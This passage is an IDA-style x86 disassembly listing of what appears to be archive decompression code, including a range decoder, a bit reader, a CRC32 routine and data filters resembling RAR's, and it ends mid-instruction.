proc near ; CODE XREF: sub_9B030E+878p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi lea edi, [esi+654h] mov eax, edi call sub_9B13C5 xor eax, eax inc eax call sub_9B13DA push 2 pop eax pop edi mov ecx, esi pop esi jmp sub_9B192C sub_9B24A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B24CC proc near ; CODE XREF: sub_9AF875+6Bp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx push edi push [ebp+arg_8] push [ebp+arg_4] call sub_9AF380 mov ebx, [ebp+arg_0] mov edi, eax mov [ebp+var_8], edi shr edi, 5 and edi, 1 pop ecx pop ecx jz loc_9B257D push [ebp+arg_8] push [ebp+arg_4] call sub_9AF380 pop ecx pop ecx mov [ebp+var_C], eax loc_9B2505: ; CODE XREF: sub_9B24CC+B8j test byte ptr [ebp+var_8], 40h jz short loc_9B251D push [ebp+arg_8] push [ebp+arg_4] call sub_9AF380 pop ecx pop ecx mov ecx, [ebp+arg_C] mov [ecx], eax loc_9B251D: ; CODE XREF: sub_9B24CC+3Dj push esi lea esi, [ebx+85Ch] and dword ptr [esi+4], 0 and dword ptr [esi], 0 or dword ptr [esi+8], 0FFFFFFFFh mov [ebp+var_4], 4 loc_9B2536: ; CODE XREF: sub_9B24CC+85j push [ebp+arg_8] push [ebp+arg_4] call sub_9AF380 pop ecx pop ecx mov ecx, [esi+4] shl ecx, 8 or eax, ecx dec [ebp+var_4] mov [esi+4], eax jnz short loc_9B2536 test edi, edi jz short loc_9B25B2 mov eax, [ebp+var_8] and eax, 1Fh inc eax mov esi, eax cmp esi, 10h jle short loc_9B2569 lea esi, [esi+esi*2-20h] loc_9B2569: ; CODE XREF: sub_9B24CC+97j cmp esi, 1 jnz short loc_9B258E lea eax, [ebx+654h] loc_9B2574: ; CODE XREF: sub_9B24CC+E4j call sub_9B13C5 xor eax, eax jmp short loc_9B25BA ; --------------------------------------------------------------------------- loc_9B257D: ; CODE XREF: sub_9B24CC+23j cmp dword ptr [ebx+670h], 0 jnz loc_9B2505 xor eax, eax jmp short loc_9B25BB ; --------------------------------------------------------------------------- loc_9B258E: ; CODE XREF: sub_9B24CC+A0j mov eax, [ebp+var_C] lea edi, [ebx+654h] inc eax call sub_9B13DA test eax, eax jz short loc_9B25AE mov eax, esi mov ecx, ebx call sub_9B192C test eax, eax jnz short loc_9B25B2 loc_9B25AE: ; CODE XREF: sub_9B24CC+D3j mov eax, edi jmp short loc_9B2574 ; --------------------------------------------------------------------------- loc_9B25B2: ; CODE XREF: sub_9B24CC+89j ; sub_9B24CC+E0j xor eax, eax cmp [ebx+4], eax setnz al loc_9B25BA: ; CODE XREF: sub_9B24CC+AFj pop esi loc_9B25BB: ; CODE XREF: sub_9B24CC+C0j pop edi pop ebx leave retn sub_9B24CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B25BF proc near ; CODE XREF: sub_9B012B+13p ; sub_9B012B+33p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] mov edx, [esi+4] mov ecx, [esi+654h] cmp edx, ecx push edi jbe short loc_9B25FC mov edi, [esi+65Ch] cmp edx, edi ja short loc_9B25FC cmp word ptr [edx+0Ah], 1 jz short loc_9B2604 mov eax, [edx+4] cmp eax, ecx jbe short loc_9B25FC cmp eax, edi ja short loc_9B25FC mov edi, edx call sub_9B1FE8 loc_9B25F8: ; CODE XREF: sub_9B25BF+137j test eax, eax jnz short loc_9B260B loc_9B25FC: ; CODE XREF: sub_9B25BF+14j ; sub_9B25BF+1Ej ... or eax, 0FFFFFFFFh loc_9B25FF: ; CODE XREF: sub_9B25BF+1C9j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_9B2604: ; CODE XREF: sub_9B25BF+25j mov ecx, esi call sub_9B213F loc_9B260B: ; CODE XREF: sub_9B25BF+3Bj mov ecx, [esi+868h] lea eax, [esi+864h] mov edx, [eax] mov edi, edx imul edi, ecx add [esi+85Ch], edi mov edi, [esi+86Ch] sub edi, ecx imul edi, edx mov [eax], edi cmp dword ptr [esi], 0 jz short loc_9B2663 mov eax, [esi] movzx edi, byte ptr [eax+4] xor ebx, ebx cmp [esi+878h], ebx jnz loc_9B26FB mov eax, [eax] cmp eax, [esi+654h] jbe loc_9B26FB mov [esi+8], eax mov [esi+4], eax jmp loc_9B272C ; --------------------------------------------------------------------------- loc_9B2663: ; CODE XREF: sub_9B25BF+75j ; sub_9B25BF+FCj mov eax, [esi+85Ch] mov ecx, [esi+864h] lea edx, [eax+ecx] xor edx, eax cmp edx, 1000000h jb short loc_9B2691 cmp ecx, 8000h jnb short loc_9B26BD neg eax and eax, 7FFFh mov [esi+864h], eax loc_9B2691: ; CODE XREF: sub_9B25BF+BBj push [ebp+arg_8] lea ebx, [esi+860h] push [ebp+arg_4] call sub_9AF380 shl dword ptr [esi+864h], 8 pop ecx pop ecx mov ecx, [ebx] shl ecx, 8 or eax, ecx shl dword ptr [esi+85Ch], 8 mov [ebx], eax jmp short loc_9B2663 ; --------------------------------------------------------------------------- loc_9B26BD: ; CODE XREF: sub_9B25BF+C3j mov eax, [esi+654h] loc_9B26C3: ; CODE XREF: sub_9B25BF+130j mov ecx, [esi+4] inc dword ptr [esi+878h] mov ebx, [ecx] cmp ebx, eax mov [esi+4], ebx jbe loc_9B25FC cmp ebx, [esi+65Ch] ja loc_9B25FC movzx ecx, word ptr [ebx+0Ah] cmp ecx, [esi+650h] jz short loc_9B26C3 call sub_9B2309 jmp loc_9B25F8 ; --------------------------------------------------------------------------- loc_9B26FB: ; CODE XREF: sub_9B25BF+85j ; sub_9B25BF+93j push esi call sub_9B1D29 test eax, eax pop ecx jz loc_9B25FC lea eax, [esi+4C88h] cmp [eax], bl jnz short loc_9B272C push 100h ; Size mov byte ptr [eax], 1 lea eax, [esi+888h] push ebx ; Val push eax ; Dst call memset add esp, 0Ch loc_9B272C: ; CODE XREF: sub_9B25BF+9Fj ; sub_9B25BF+153j ... mov eax, [esi+85Ch] mov ecx, [esi+864h] lea edx, [eax+ecx] xor edx, eax cmp edx, 1000000h jb short loc_9B275A cmp ecx, 8000h jnb short loc_9B2786 neg eax and eax, 7FFFh mov [esi+864h], eax loc_9B275A: ; CODE XREF: sub_9B25BF+184j push [ebp+arg_8] lea ebx, [esi+860h] push [ebp+arg_4] call sub_9AF380 shl dword ptr [esi+864h], 8 pop ecx pop ecx mov ecx, [ebx] shl ecx, 8 or eax, ecx shl dword ptr [esi+85Ch], 8 mov [ebx], eax jmp short loc_9B272C ; --------------------------------------------------------------------------- loc_9B2786: ; CODE XREF: sub_9B25BF+18Cj mov eax, edi jmp loc_9B25FF sub_9B25BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B278D proc near ; CODE XREF: sub_9AF448+21p ; sub_9AF448+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_0], 0 mov ecx, [ebp+arg_4] jz short loc_9B27A0 mov al, byte ptr [ebp+arg_8] mov [ecx], al pop ebp retn ; --------------------------------------------------------------------------- loc_9B27A0: ; CODE XREF: sub_9B278D+Aj mov eax, [ebp+arg_8] mov [ecx], eax pop ebp retn sub_9B278D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B27A7 proc near ; CODE XREF: sub_9AF3BC+35p ; sub_9B2968+9Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] push edi mov edi, [ebp+arg_8] test edi, edi jz short loc_9B27E3 push esi loc_9B27B6: ; CODE XREF: sub_9B27A7+39j movzx eax, byte ptr [ecx] push 8 inc ecx pop esi loc_9B27BD: ; CODE XREF: sub_9B27A7+36j mov edx, eax xor edx, [ebp+arg_0] test dl, 1 jz short loc_9B27D7 mov edx, [ebp+arg_0] shr edx, 1 xor edx, 0EDB88320h mov [ebp+arg_0], edx jmp short loc_9B27DA ; --------------------------------------------------------------------------- loc_9B27D7: ; CODE XREF: sub_9B27A7+1Ej shr [ebp+arg_0], 1 loc_9B27DA: ; CODE XREF: sub_9B27A7+2Ej shr eax, 1 dec esi jnz short loc_9B27BD dec edi jnz short loc_9B27B6 pop esi loc_9B27E3: ; CODE XREF: sub_9B27A7+Cj mov eax, [ebp+arg_0] pop edi pop ebp retn sub_9B27A7 endp ; =============== S U B R O U T I N E ======================================= sub_9B27E9 proc near ; CODE XREF: sub_9B0206+F8p arg_0 = dword ptr 4 push 40004h ; Size call sub_9B1311 pop ecx mov ecx, [esp+arg_0] mov [ecx], eax xor ecx, ecx test eax, eax setnz cl mov eax, ecx retn sub_9B27E9 endp ; =============== S U B R O U T I N E ======================================= sub_9B2804 proc near ; CODE XREF: sub_9B0DF4+FAp ; sub_9B0FE1+176p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_9B281E mov eax, [esi] test eax, eax jz short loc_9B281E push eax ; Memory call free and dword ptr [esi], 0 pop ecx loc_9B281E: ; CODE XREF: sub_9B2804+7j ; sub_9B2804+Dj pop esi retn sub_9B2804 endp ; =============== S U B R O U T I N E ======================================= sub_9B2820 proc near ; CODE XREF: sub_9AFBCB+251p ; sub_9AFBCB+2E6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] add eax, [ecx+0Ch] mov edx, eax sar edx, 3 add [ecx+8], edx and eax, 7 mov [ecx+0Ch], eax retn sub_9B2820 endp ; =============== S U B R O U T I N E ======================================= sub_9B283A proc near ; CODE XREF: sub_9AFBCB+241p ; sub_9AFBCB+2D2p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, [edx] mov eax, [edx+8] push ebx xor ebx, ebx add eax, ecx mov bh, [eax] push 8 pop ecx sub ecx, [edx+0Ch] mov bl, [eax+1] movzx eax, byte ptr [eax+2] shl ebx, 8 or ebx, eax shr ebx, cl and ebx, 0FFFFh mov eax, ebx pop ebx retn sub_9B283A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B2868 proc near ; CODE XREF: sub_9AFBCB+26p ; sub_9AFBCB+18Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi push esi call sub_9B283A pop ecx mov ecx, eax and ecx, 0C000h jz loc_9B2949 cmp ecx, 4000h jz loc_9B291C mov eax, [esi+0Ch] inc eax inc eax cmp ecx, 8000h push esi mov ecx, eax jz short loc_9B28F6 mov ebx, eax sar ecx, 3 add [esi+8], ecx and ebx, 7 mov [esi+0Ch], ebx call sub_9B283A add ebx, 10h mov edi, eax mov eax, [esi+8] mov ecx, ebx sar ecx, 3 add eax, ecx and ebx, 7 push esi shl edi, 10h mov [ebp+var_4], eax mov [esi+8], eax mov [esi+0Ch], ebx call sub_9B283A or edi, eax pop ecx lea eax, [ebx+10h] pop ecx mov ecx, eax sar ecx, 3 add ecx, [ebp+var_4] and eax, 7 mov [esi+0Ch], eax mov [esi+8], ecx mov eax, edi jmp short loc_9B2963 ; --------------------------------------------------------------------------- loc_9B28F6: ; CODE XREF: sub_9B2868+39j mov edi, eax sar ecx, 3 add [esi+8], ecx mov ebx, [esi+8] and edi, 7 mov [esi+0Ch], edi call sub_9B283A pop ecx lea ecx, [edi+10h] mov edx, ecx sar edx, 3 add edx, ebx mov [esi+8], edx jmp short loc_9B2944 ; --------------------------------------------------------------------------- loc_9B291C: ; CODE XREF: sub_9B2868+25j test ah, 3Ch mov ecx, [esi+0Ch] jnz short loc_9B2931 shr eax, 2 or eax, 0FFFFFF00h add ecx, 0Eh jmp short loc_9B293C ; --------------------------------------------------------------------------- loc_9B2931: ; CODE XREF: sub_9B2868+BAj shr eax, 6 and eax, 0FFh add ecx, 0Ah loc_9B293C: ; CODE XREF: sub_9B2868+C7j mov edx, ecx sar edx, 3 add [esi+8], edx loc_9B2944: ; CODE XREF: sub_9B2868+B2j and ecx, 7 jmp short loc_9B2960 ; --------------------------------------------------------------------------- loc_9B2949: ; CODE XREF: sub_9B2868+19j mov ecx, [esi+0Ch] add ecx, 6 mov edx, ecx sar edx, 3 add [esi+8], edx shr eax, 0Ah and ecx, 7 and eax, 0Fh loc_9B2960: ; CODE XREF: sub_9B2868+DFj mov [esi+0Ch], ecx loc_9B2963: ; CODE XREF: sub_9B2868+8Cj pop edi pop esi pop ebx leave retn sub_9B2868 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B2968 proc near ; CODE XREF: sub_9B3A12+67p var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 54h push edi push [ebp+arg_0] mov [ebp+var_54], 35h push 0FFFFFFFFh mov [ebp+var_50], 0AD576887h mov [ebp+var_4C], 1 mov [ebp+var_48], 39h mov [ebp+var_44], 3CD7E57Eh mov [ebp+var_40], 2 mov [ebp+var_3C], 78h mov [ebp+var_38], 3769893Fh mov [ebp+var_34], 3 mov [ebp+var_30], 1Dh mov [ebp+var_2C], 0E06077Dh mov [ebp+var_28], 6 mov [ebp+var_24], 95h mov [ebp+var_20], 1C2C5DC8h mov [ebp+var_1C], 4 mov [ebp+var_18], 0D8h mov [ebp+var_14], 0BC85E701h mov [ebp+var_10], 5 mov [ebp+var_C], 28h mov [ebp+var_8], 46B9C560h mov [ebp+var_4], 7 call sub_9B27A7 add esp, 0Ch not eax xor edx, edx lea ecx, [ebp+var_54] loc_9B2A16: ; CODE XREF: sub_9B2968+BEj cmp [ecx+4], eax jnz short loc_9B2A1F cmp [ecx], edi jz short loc_9B2A2C loc_9B2A1F: ; CODE XREF: sub_9B2968+B1j inc edx add ecx, 0Ch cmp edx, 7 jb short loc_9B2A16 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_9B2A2C: ; CODE XREF: sub_9B2968+B5j lea eax, [edx+edx*2] mov eax, [ebp+eax*4+var_4C] leave retn sub_9B2968 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9B2A35(int, int, void *Src, int) sub_9B2A35 proc near ; CODE XREF: sub_9AF4A5+CEp ; sub_9AF4A5+E7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Src = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov ecx, [ebp+arg_4] mov eax, 40000h cmp ecx, eax jnb short loc_9B2A68 mov edx, [ebp+arg_0] mov edx, [edx] add edx, ecx cmp [ebp+Src], edx jz short loc_9B2A68 sub eax, ecx cmp [ebp+arg_C], eax jnb short loc_9B2A5A mov eax, [ebp+arg_C] loc_9B2A5A: ; CODE XREF: sub_9B2A35+20j push eax ; Size push [ebp+Src] ; Src push edx ; Dst call memmove add esp, 0Ch loc_9B2A68: ; CODE XREF: sub_9B2A35+Dj ; sub_9B2A35+19j pop ebp retn sub_9B2A35 endp ; =============== S U B R O U T I N E ======================================= sub_9B2A6A proc near ; CODE XREF: sub_9B300B+38p ; sub_9B300B+43p arg_0 = dword ptr 4 cmp dword ptr [eax+4], 2 jnz short loc_9B2A83 mov ecx, [eax] mov eax, [eax+0Ch] add eax, [ecx] mov ecx, [esp+arg_0] and eax, 3FFFFh add eax, [ecx] retn ; --------------------------------------------------------------------------- loc_9B2A83: ; CODE XREF: sub_9B2A6A+4j mov eax, [eax] retn sub_9B2A6A endp ; =============== S U B R O U T I N E ======================================= sub_9B2A86 proc near ; CODE XREF: sub_9B2B17+441p ; sub_9B2B17+455p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cdq push 8 pop esi idiv esi xor edx, edx push 20h movzx esi, byte ptr [eax+ecx] inc eax mov dh, [eax+ecx] lea eax, [eax+ecx+1] mov ecx, [esp+8+arg_0] and ecx, 7 or esi, edx xor edx, edx mov dh, [eax+1] mov dl, [eax] or eax, 0FFFFFFFFh shl edx, 10h or edx, esi shr edx, cl pop ecx sub ecx, [esp+4+arg_4] pop esi shr eax, cl and eax, edx retn sub_9B2A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B2AC6 proc near ; CODE XREF: sub_9B2B17+469p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov eax, ecx push 8 cdq pop esi idiv esi and ecx, 7 push 20h or edx, 0FFFFFFFFh xor edi, edi mov esi, eax mov eax, ecx pop ecx sub ecx, [ebp+arg_8] shr edx, cl mov ecx, eax mov eax, [ebp+arg_0] shl [ebp+arg_4], cl shl edx, cl add esi, eax not edx loc_9B2AF5: ; CODE XREF: sub_9B2AC6+4Bj mov al, [esi+edi] and al, dl or al, byte ptr [ebp+arg_4] shr [ebp+arg_4], 8 shr edx, 8 or edx, 0FF000000h mov [esi+edi], al inc edi cmp edi, 4 jl short loc_9B2AF5 pop edi pop esi pop ebp retn sub_9B2AC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9B2B17 proc near ; CODE XREF: sub_9B300B+607p Dst = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 54h push esi push edi mov esi, ecx xor edi, edi cmp esi, edi jle loc_9B3007 cmp esi, 2 push ebx jle loc_9B2F9F cmp esi, 3 jz loc_9B2EEB cmp esi, 4 jz loc_9B2DCB cmp esi, 5 jz loc_9B2C04 cmp esi, 6 jz short loc_9B2BAB cmp esi, 7 jnz loc_9B3006 mov edi, [eax+14h] xor esi, esi cmp edi, 1E000h mov ebx, edi jge loc_9B3006 test edi, edi jle short loc_9B2B94 loc_9B2B75: ; CODE XREF: sub_9B2B17+7Bj mov ecx, [eax] mov dl, [ecx+esi] inc esi cmp dl, 2 jnz short loc_9B2B8C mov dl, [ecx+esi] inc esi cmp dl, 2 jz short loc_9B2B8C add dl, 0E0h loc_9B2B8C: ; CODE XREF: sub_9B2B17+67j ; sub_9B2B17+70j mov [ecx+ebx], dl inc ebx cmp esi, edi jl short loc_9B2B75 loc_9B2B94: ; CODE XREF: sub_9B2B17+5Cj mov ecx, [eax] sub ebx, edi mov [ecx+3C01Ch], ebx mov eax, [eax] mov [eax+3C020h], edi jmp loc_9B3006 ; --------------------------------------------------------------------------- loc_9B2BAB: ; CODE XREF: sub_9B2B17+3Cj mov edx, [eax+14h] mov ecx, [eax+4] mov edi, [eax] xor ebx, ebx cmp edx, 1E000h mov [ebp+var_2C], ecx lea esi, [edx+edx] mov [edi+3C020h], edx jge loc_9B3006 and [ebp+var_8], ebx test ecx, ecx jle loc_9B3006 loc_9B2BD8: ; CODE XREF: sub_9B2B17+E6j mov edi, [ebp+var_8] xor cl, cl add edi, edx jmp short loc_9B2BF0 ; --------------------------------------------------------------------------- loc_9B2BE1: ; CODE XREF: sub_9B2B17+DBj mov esi, [eax] sub cl, [esi+ebx] inc ebx mov [esi+edi], cl add edi, [ebp+var_2C] lea esi, [edx+edx] loc_9B2BF0: ; CODE XREF: sub_9B2B17+C8j cmp edi, esi jl short loc_9B2BE1 inc [ebp+var_8] mov ecx, [ebp+var_8] cmp ecx, [ebp+var_2C] jl short loc_9B2BD8 jmp loc_9B3006 ; --------------------------------------------------------------------------- loc_9B2C04: ; CODE XREF: sub_9B2B17+33j mov esi, [eax+14h] cmp esi, 1E000h mov ecx, [eax+4] mov eax, [eax] lea edx, [eax+esi] mov [ebp+var_38], ecx mov [ebp+var_20], esi mov [ebp+var_18], eax mov [ebp+var_28], edx mov [eax+3C020h], esi jge loc_9B3006 cmp ecx, edi mov [ebp+var_8], edi jle loc_9B3006 jmp short loc_9B2C3D ; --------------------------------------------------------------------------- loc_9B2C3A: ; CODE XREF: sub_9B2B17+2A9j mov esi, [ebp+var_20] loc_9B2C3D: ; CODE XREF: sub_9B2B17+121j xor ebx, ebx push 1Ch ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_34], ebx mov [ebp+var_30], ebx mov [ebp+var_24], ebx mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx call memset mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_2C], ebx cmp eax, esi jmp loc_9B2DAE ; --------------------------------------------------------------------------- loc_9B2C6D: ; CODE XREF: sub_9B2B17+29Aj mov eax, [ebp+var_30] mov esi, [ebp+var_C] mov edx, [ebp+var_10] mov ecx, eax sub ecx, [ebp+var_24] mov edi, ebx mov ebx, ecx imul esi, edi mov ecx, [ebp+var_18] imul edx, ebx mov cl, [ecx] add esi, edx mov edx, [ebp+var_14] imul edx, eax inc [ebp+var_18] add esi, edx mov edx, [ebp+var_34] mov [ebp+var_24], eax mov [ebp+var_1], cl lea eax, [esi+edx*8] mov esi, [ebp+var_1C] movzx ecx, cl shr eax, 3 and eax, 0FFh sub eax, ecx mov ecx, [ebp+var_28] mov [ecx+esi], al movsx esi, [ebp+var_1] mov cl, al sub cl, dl movsx ecx, cl shl esi, 3 push esi ; X mov [ebp+var_30], ecx mov [ebp+var_34], eax call labs add [ebp+Dst], eax mov eax, esi sub eax, [ebp+var_24] push eax ; X call labs add [ebp+var_50], eax mov eax, [ebp+var_24] add eax, esi push eax ; X call labs add [ebp+var_4C], eax mov eax, esi sub eax, ebx push eax ; X call labs add [ebp+var_48], eax lea eax, [esi+ebx] push eax ; X call labs add [ebp+var_44], eax mov eax, esi sub eax, edi push eax ; X call labs add [ebp+var_40], eax add esi, edi push esi ; X call labs add [ebp+var_3C], eax add esp, 1Ch test byte ptr [ebp+var_2C], 1Fh jnz short loc_9B2DA2 mov esi, [ebp+Dst] xor edi, edi xor ecx, ecx mov [ebp+Dst], edi inc ecx loc_9B2D37: ; CODE XREF: sub_9B2B17+235j lea eax, [ebp+ecx*4+Dst] mov edx, [eax] cmp edx, esi jnb short loc_9B2D45 mov esi, edx mov edi, ecx loc_9B2D45: ; CODE XREF: sub_9B2B17+228j and dword ptr [eax], 0 inc ecx cmp ecx, 7 jb short loc_9B2D37 mov eax, edi dec eax jz short loc_9B2D99 dec eax jz short loc_9B2D8E dec eax jz short loc_9B2D83 dec eax jz short loc_9B2D78 dec eax jz short loc_9B2D6D dec eax jnz short loc_9B2DA2 cmp [ebp+var_C], 10h jge short loc_9B2DA2 inc [ebp+var_C] jmp short loc_9B2DA2 ; --------------------------------------------------------------------------- loc_9B2D6D: ; CODE XREF: sub_9B2B17+246j cmp [ebp+var_C], 0FFFFFFF0h jl short loc_9B2DA2 dec [ebp+var_C] jmp short loc_9B2DA2 ; --------------------------------------------------------------------------- loc_9B2D78: ; CODE XREF: sub_9B2B17+243j cmp [ebp+var_10], 10h jge short loc_9B2DA2 inc [ebp+var_10] jmp short loc_9B2DA2 ; --------------------------------------------------------------------------- loc_9B2D83: ; CODE XREF: sub_9B2B17+240j cmp [ebp+var_10], 0FFFFFFF0h jl short loc_9B2DA2 dec [ebp+var_10] jmp short loc_9B2DA2 ; --------------------------------------------------------------------------- loc_9B2D8E: ; CODE XREF: sub_9B2B17+23Dj cmp [ebp+var_14], 10h jge short loc_9B2DA2 inc [ebp+var_14] jmp short loc_9B2DA2 ; --------------------------------------------------------------------------- loc_9B2D99: ; CODE XREF: sub_9B2B17+23Aj cmp [ebp+var_14], 0FFFFFFF0h jl short loc_9B2DA2 dec [ebp+var_14] loc_9B2DA2: ; CODE XREF: sub_9B2B17+213j ; sub_9B2B17+249j ... mov eax, [ebp+var_1C] add eax, [ebp+var_38] inc [ebp+var_2C] cmp eax, [ebp+var_20] loc_9B2DAE: ; CODE XREF: sub_9B2B17+151j mov [ebp+var_1C], eax jl loc_9B2C6D inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+var_38] jl loc_9B2C3A jmp loc_9B3006 ; --------------------------------------------------------------------------- loc_9B2DCB: ; CODE XREF: sub_9B2B17+2Aj mov ecx, [eax+14h] mov edx, [eax+8] mov ebx, [eax+4] mov eax, [eax] mov [ebp+var_C], edx sub ebx, 3 cmp ecx, 1E000h lea edx, [eax+ecx] mov [ebp+var_20], ecx mov [ebp+var_18], eax mov [ebp+var_28], edx mov [eax+3C020h], ecx jge loc_9B3006 mov eax, ebx neg eax mov [ebp+var_8], edi mov [ebp+var_24], eax loc_9B2E04: ; CODE XREF: sub_9B2B17+3A3j mov eax, [ebp+var_20] and [ebp+var_1C], 0 cmp [ebp+var_8], eax jge loc_9B2EB0 mov eax, [ebp+var_24] mov esi, [ebp+var_28] mov [ebp+var_2C], eax mov eax, [ebp+var_20] sub eax, [ebp+var_8] sub esi, ebx add esi, [ebp+var_8] push 3 dec eax xor edx, edx pop ecx div ecx inc eax mov [ebp+var_10], eax loc_9B2E34: ; CODE XREF: sub_9B2B17+397j cmp [ebp+var_2C], 3 jl short loc_9B2E90 movzx edi, byte ptr [esi] movzx eax, byte ptr [esi-3] mov [ebp+var_30], edi sub edi, eax add edi, [ebp+var_1C] mov [ebp+var_14], eax mov eax, edi sub eax, [ebp+var_1C] push eax ; X call labs mov [ebp+var_38], eax mov eax, edi sub eax, [ebp+var_30] push eax ; X call labs sub edi, [ebp+var_14] mov [ebp+var_34], eax push edi ; X call labs mov ecx, [ebp+var_34] add esp, 0Ch cmp [ebp+var_38], ecx jg short loc_9B2E81 cmp [ebp+var_38], eax jle short loc_9B2E90 loc_9B2E81: ; CODE XREF: sub_9B2B17+363j cmp [ebp+var_34], eax jg short loc_9B2E8B mov eax, [ebp+var_30] jmp short loc_9B2E93 ; --------------------------------------------------------------------------- loc_9B2E8B: ; CODE XREF: sub_9B2B17+36Dj mov eax, [ebp+var_14] jmp short loc_9B2E93 ; --------------------------------------------------------------------------- loc_9B2E90: ; CODE XREF: sub_9B2B17+321j ; sub_9B2B17+368j mov eax, [ebp+var_1C] loc_9B2E93: ; CODE XREF: sub_9B2B17+372j ; sub_9B2B17+377j mov ecx, [ebp+var_18] sub al, [ecx] inc [ebp+var_18] add [ebp+var_2C], 3 movzx eax, al mov [ebx+esi], al add esi, 3 dec [ebp+var_10] mov [ebp+var_1C], eax jnz short loc_9B2E34 loc_9B2EB0: ; CODE XREF: sub_9B2B17+2F7j inc [ebp+var_8] inc [ebp+var_24] cmp [ebp+var_8], 3 jl loc_9B2E04 mov esi, [ebp+var_20] mov eax, [ebp+var_C] add esi, 0FFFFFFFEh cmp eax, esi jge loc_9B3006 mov edx, [ebp+var_28] loc_9B2ED4: ; CODE XREF: sub_9B2B17+3CDj mov cl, [edx+eax+1] add [edx+eax], cl add [edx+eax+2], cl add eax, 3 cmp eax, esi jl short loc_9B2ED4 jmp loc_9B3006 ; --------------------------------------------------------------------------- loc_9B2EEB: ; CODE XREF: sub_9B2B17+21j mov ecx, [eax] mov [ebp+var_20], ecx mov ecx, [eax+14h] cmp ecx, 3C000h jge loc_9B3006 cmp ecx, 15h jl loc_9B3006 mov ebx, [eax+1Ch] lea eax, [ecx-15h] shr ebx, 4 cmp eax, edi jbe loc_9B3006 dec eax shr eax, 4 inc eax mov [ebp+var_38], eax loc_9B2F21: ; CODE XREF: sub_9B2B17+484j mov eax, [ebp+var_20] movzx eax, byte ptr [eax] and eax, 1Fh sub eax, 10h js short loc_9B2F93 mov al, ds:byte_9B9DE8[eax] test al, al jz short loc_9B2F93 and [ebp+var_1C], 0 push 12h movzx edi, al pop esi loc_9B2F43: ; CODE XREF: sub_9B2B17+47Aj mov ecx, [ebp+var_1C] xor eax, eax inc eax shl eax, cl test edi, eax jz short loc_9B2F88 mov ecx, [ebp+var_20] lea eax, [esi+18h] push 4 push eax call sub_9B2A86 cmp eax, 5 pop ecx pop ecx jnz short loc_9B2F88 mov ecx, [ebp+var_20] push 14h push 14h push esi call sub_9B2A86 pop ecx sub eax, ebx pop ecx and eax, 0FFFFFh push eax push [ebp+var_20] mov ecx, esi call sub_9B2AC6 add esp, 0Ch loc_9B2F88: ; CODE XREF: sub_9B2B17+436j ; sub_9B2B17+44Bj inc [ebp+var_1C] add esi, 29h cmp esi, 64h jle short loc_9B2F43 loc_9B2F93: ; CODE XREF: sub_9B2B17+416j ; sub_9B2B17+420j add [ebp+var_20], 10h inc ebx dec [ebp+var_38] jnz short loc_9B2F21 jmp short loc_9B3006 ; --------------------------------------------------------------------------- loc_9B2F9F: ; CODE XREF: sub_9B2B17+18j mov ecx, [eax+14h] cmp ecx, 